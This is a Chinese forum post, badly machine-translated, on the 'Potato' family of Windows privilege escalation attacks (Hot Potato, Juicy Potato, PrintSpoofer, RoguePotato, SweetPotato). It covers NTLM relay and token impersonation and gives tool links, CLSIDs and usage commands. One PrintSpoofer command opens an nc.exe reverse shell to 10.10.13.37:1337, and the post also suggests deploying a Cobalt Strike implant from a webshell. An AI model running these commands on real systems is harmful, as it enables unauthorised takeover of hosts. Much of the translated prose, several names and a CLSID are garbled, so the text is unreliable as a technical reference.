H

Potato 家族提权分析

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%

Potato 家族提权分析​

1 前言​

1.1 windows 服务的登录用户​

本地系统-NT Intery \ System
网络服务-NT Authurity \ Network Service
本地服务-NT Authurity \本地服务
服务帐户本身在Windows权限模型中具有很高的权限。在实际渗透过程中,当您获得网络壳时,用户权限是IIS或Apache,或者XP_CMDShell将通过SQLI执行。目前,您手中的服务帐户是执行操作时的一个低许可帐户,并且使用此特权升级方法,您可以直接获得系统权限。
010-110用马铃薯提高权利的前提(除热马铃薯除外)是您拥有SeImpersonatePrivilegeSeAssignPrimaryTokenPrivilege权限,并且以下用户具有SeImpersonatePrivilege的许可(并且只有具有较高特权的账户(例如系统)具有SeassignPrimaryTokenPrimaryTokenPrivilegePrivilege Privilege permivilege permissions:
本地管理员帐户(不包括管理员组正常帐户)和本地服务帐户
SCM发起的服务
PS:在本机测试期间,即使向本地策略中的管理员组授予管理员组的seimpersonatePrivilege特权,whoami /prav也不会在cmd.exe中显示特权,也无法使用;虽然可以正常授予普通用户的SeassignPrimaryTokenPrivilege特权

1.2 前提​

Windows令牌是一个描述安全上下文的对象。用户登录后,系统将生成令牌。创建新过程或新线程时,将连续复制此令牌。
当用户拥有SeImpersonatePrivilege特权时,他可以致电CreateProcessWithTokenW,以启动一个新的过程,并具有某个令牌的权限
当用户拥有SeAssignPrimaryTokenPrivilege特权时,他可以致电CreateProcessAsUserW,以使用令牌权限开始新的过程
有关详细信息,请参阅文章“ Windows Access令牌攻击”。

1.3 Windows Token​

2 Hot Potato​

在2016年1月,多米尼克马云惹不起马云怀特(Dominic White)发表了一篇文章,发表了基于NTLM反射的权限高度攻击,名为Hot Potage。您可以从主机的最低用户权限升级到系统的最高NT \授权系统许可。
热马铃薯使用著名的NTLM继电器攻击(HTTP -SMB)和NBNS欺骗攻击来获得Windows系统上的最高权限系统。您可以从主机的最低用户权限升级到系统的最高NT \授权系统许可。

2.1 简介​

2.2 NBNS​

NBNS(净BIOS名称服务)是一款UDP广播服务,在Windows系统中广泛使用,即命名的查询服务。该服务是使用UDP协议实现的,可以通过在LAN中发送广播来实现本地名称分辨率。
与TCP/IP协议中的DNS类似,它负责查找目标机器的相应IP地址并给出NetBios名称。微软赢得服务采用NBNS协议。

2.2.1 概念​

执行名称查询的系统的逻辑如下:
首先查询本地主机文件
DNS查找查询(本地DNS缓存,然后从DNS服务器请求它)
NBNS查询
NBN的逻辑是向所有本地主机(XXX)广播一条消息,如果有人回复广播消息,谁是xxx
在Intranet渗透测试中,攻击者经常听听NBN的广播消息,并回答他们是XXX,即NBNS欺骗。 ARP欺骗是Mac层欺骗方法
NBNS软件包具有1个2字节TXID字段,必须匹配请求\响应。因为这是一种特权升级漏洞,因此在攻击之前无权听取流量。洪水猜测可以在1-65535之间进行。
如果网络中有DNS记录,则目前将不使用NBNS协议。所有DNS查询都可以通过耗尽UDP端口的攻击技术失败,因此必须使用NBNS协议

2.2.2 NBNS 欺骗​

在Windows系统中,IE浏览器将自动检测IE代理配置信息,该信息已访问,http://wpad/WPAD.DAT#8221
WPAD不一定存在于网络中,因为即使使用DNS服务器,除非网络希望通过配置脚本在网络中自动配置代理信息,否则也无需解析WPAD,这非常方便。
因此,当主机和DNS查询无法获得WPAD时,系统必须使用NBN来查询名称。目前,您可以使用NBN来欺骗自己,并告诉自己WPAD可以构建HTTP服务器并响应HTTP http://wpad/WPAD.DAT#8221查询
20200815150545.png-water_print

通过在127.0.0.1构建HTTP,所有流量查询WPAD均针对Local 127.0.0.1;即使低调用户发行的NBN欺骗WPAD,高私有的过程也会受到影响,并且WPAD被认为是欺骗的结果。包括本地管理员流程和系统过程。

2.3 WPAD 代理​

20200815150941.png-water_print

20200815151054.png-water_print

NTLM身份验证对中间攻击的防御能力差。以前,针对NTLM的播放攻击集中在SMB-SMB协议上,反映了对访客主机的攻击并获得远程执行权限;
Microsoft通过补丁阻止SMB-SMB协议的重播反射攻击,但是HTTP-SMB交叉协议攻击仍然有效

2.4 HTTP - SMB NTLM Relay​

热马铃薯攻击结合了这些点以提高许可:
NBNS骗局
构建本地HTTP并响应WPAD
HTTP -SMB NTLM继电器
等待高度私有过程的访问,也就是说,激活更新服务(可以激活低特你)
1
2
进口模块。\ tater.ps1
调用-TATER -COMMAND“执行命令”
20200815161221.png-water_print

20200815161322.png-water_print

工具地址:https://github.com/foxglovesec/potato
Win7利用- Windows Defender更新机制
1
potath.exe -ip -cmd [CMD运行] -disable_exhaust true
Win Server 2008利用率- Windows更新机制
1
potath.exe -ip -cmd [CMD运行] -disable_exhaust true -disable_defender true -spoof_host wpad.emc.local
Win Server 2012 R2-自动更新机制,此机会每天下载证书信任列表(CTL)
1
potath.exe -ip -cmd [CMD运行] -disable_exhaust true -disable_defender true true
保护:
SMB签名

2.5 攻击流程​

3 Rotten Potato JuicyPotato​

这两种与初始土豆不同,后者使用DCOM调用来使该服务启动与攻击者听和执行NTLM身份验证的端口的连接。
腐烂的土豆和多汁的土豆几乎具有相同的原理,后者在前者中得到完善。
一些知识要理解:
使用DCOM时,如果您远程连接作为服务,则权限为系统,例如BITS服务
使用DCOM,您可以通过TCP连接到机器的端口以启动NTLM身份验证,可以重播
默认情况下,LocalService用户具有Seimpersysersy和SeassignPrimaryToken权限
启用Semermersonered的权限后,您可以在调用CreateProcessWithToken时传递新的令牌以创建一个新的过程。
启用SeasignPrimaryToken许可后,您可以通过新令牌传递以创建一个新过程,以调用CreateProcessAsuser

3.1 原理​

加载com,发出请求,权限为系统
尝试在为IP和端口指定的位置加载COM对象
rotterpotatong使用的com对象是钻头,CLSID为{4991D34B-80A1-4291-4291-83B6-3328366B9097}
要选择的com对象不是唯一的。多汁的马铃薯提供多种。有关详细列表,请参阅以下地址:
响应步骤1中的请求并启动NTLM身份验证
在正常情况下,由于权限不足,当前的许可不是系统,并且身份验证不能成功。
对于本地端口,还启动了NTLM身份验证,并且权限是当前用户
由于权限是当前用户,因此可以成功完成NTLM身份验证
信息
端口135由rottenpotatong使用
多汁的马铃薯支持指定任何本地端口,但RPC通常默认为端口135,并且很少被修改。
拦截两个NTLM认证的数据包,替换数据,然后通过NTLM重播,以启用步骤1的NTLM身份验证(许可为系统)以获得系统许可对图目
重播时,您需要注意NTLM认证的不同NTLM服务器挑战,并且需要纠正。
使用系统权限令牌创建一个新过程
如果启用了SERMERSONRERATE权限,请致电CreateProcessWithToken,使用系统权限传递令牌,而创建的过程是系统权限
或者
如果启用了SeassignPrimaryToken的权限,请致电CreateProcessusers,使用系统权限进入令牌,而创建的过程是系统权限

3.2 实现流程​

工具地址:https://github.com/ohpe/juicy-potato

3.2 实战​

带有IIS AppPool \ DefaultAppPool权限的Webshell。
20210131160500.png-water_print

3.2.1 initial access​

参考列表
例如,Test System Server2012,选择CLSID为{8BC3F05E-D86B-11D0-A075-00C04FB68820}
使用批次致电JuicyPotato.exe一个一个一个核心验证:exe:
地址如下:
BAT脚本不需要修改

3.2.2 根据操作系统选择可用的 CLSID​

上传CS马,或反弹互动外壳:
20210131160423.png-water_print

使用JuicePotato执行命令或C2程序
20210131160439.png-water_print

3.2.3 提权​

4 PrintSpoofer (PipePotato or BadPotato)​

通过API: ImpersonateTenaMedPipeClient模拟了名为Pipe的api: imponateTenamedPipeClient(and类似的模仿loggedonuser,rpcimpersernateclient功能)。调用此功能将更改当前线程的安全上下文。它利用打印机组件路径检查的错误,允许系统权限服务连接到攻击者创建的命名管道。
spoolsv.exe服务具有开放的RPC服务,具有以下功能:
1
2
3
4
5
6
7
dword rpCremoteFindFirstPristrinterChangenotificationEx(
/* [in] */printer_handle hprinter,
/* [in] */dword fdwflags,
/* [in] */dword fdwoptions,
/*[unique] [string] [in] */wchar_t *pszlocalmachine,
/* [在] */dword dwprintlocal,
/*[unique] [in] */rpc_v2_notify_options *poptions)
PSZLOCALMACHINE参数需要通过UNC路径。通过\\ 127.0.0.1时,服务器将访问\\ 127.0.0.1 \ pipe \ spoolss,但是该管道已由系统注册。如果我们通过\\ 127.0.0.1 \管道,则由于路径检查而报告错误。
但是,当通过\\ 127.0.0.1/pipe/foo时,在检查路径时,它将将127.0.0.1/pipe/foo视为主机名。然后,当连接命名的管道时,参数将被标准化,//将转换为\,因此将连接\\ 127.0.0.1 \ pipe \ foo \ pipe \ spoolsss,并且攻击者可以注册此名称的管道以窃取客户端的令牌。该POC使用createPersasuser而不是CreateProcessWithToken启动了一个新过程。

4.1 原理​

工具地址:https://github.com/itm4n/printspoofer
20210131163859.gif-water_print

4.2 实战​

适用于当前是交互式外壳的州:
1
2
3
4
5
6
7
8
9
C: \ ToolsPrintSpoofer.exe -I -C CMD
[+]找到了特权: seimpersonatePrivilege
[+]命名管道聆听.
[+] CreateProcessAsuser()OK
Microsoft Windows [版本10.0.19613.1000]
(c)2020 Microsoft Corporation。版权所有。
C: \ Windows \ System32WhoAmi
nt权威\系统

4.2.1 派生一个 SYSTEM 交互式 shell​

适用于非相互作用的外壳,但可以通过命令执行,使用CS启动或NC来反弹高许可壳:
1
2
3
4
C: \ ToolsPrintSpoofer.exe -C'C: \ Tools \ nc.exe 10.10.13.37 1337 -E CMD'
[+]找到了特权: seimpersonatePrivilege
[+]命名管道聆听.
[+] CreateProcessAsuser()OK

4.2.2 派生一个 SYSTEM 的进程​

在本地登录或RDP下,首先使用Qwinsta查看当前ID号,然后使用POC:
20210131164420.png-water_print

1
2
3
4
C: \ toolsprintspoofer.exe -d 3 -c'powerShell -ep旁路'
[+]找到了特权: seimpersonatePrivilege
[+]命名管道聆听.
[+] CreateProcessAsuser()OK

4.2.3 桌面环境下派生 SYSTEM 进程​

5 RoguePotato​

这也使用了命名管
在Microsoft修补程序之后,Windows DCOM Parser的较高版本不允许OBJREF中的DualStringArray字段指定端口号。为了绕过这一限制并能够谈判当地代币,作者在远程主机上向港口135上转发了交通,将其转回受害者的本地港口,并写了一个恶意的RPC氧化解析器。

5.1 原理​

工具地址:https://github.com/antoniococo/roguepotato
1
2
3
4
5
6
7
8
9
10
强制性ARGS:
-r远程_ip:远程计算机的IP用作重定向器
-e Commandline:启动程序的命令行
可选的ARGS:
-l Leatel_port:这将在指定端口上本地运行RogueoxidResolver
-c {CLSID} : CLSID(默认BITS: {4991D34B-80A1-4291-4291-83B6-3328366B9097})
-p Pipename_placeholder:占位符在管道名称创建中使用(Default: RoguePotato)
-Z :此标志将随机对Pipename_placeholder(不要与-p一起使用)
20210131165110.png-water_print

5.2 实战​

6 SweetPotato​

com/winrm/spoolsv的收集版本,即Juicy/printspoofer的收藏版本

6.1 原理​

工具地址:https://github.com/ccob/sweetpotato
参考:
https://decoder.cloud/2020/05/11/no-more-juicypotato od-story-welcome-roguepotato/
 
后退
顶部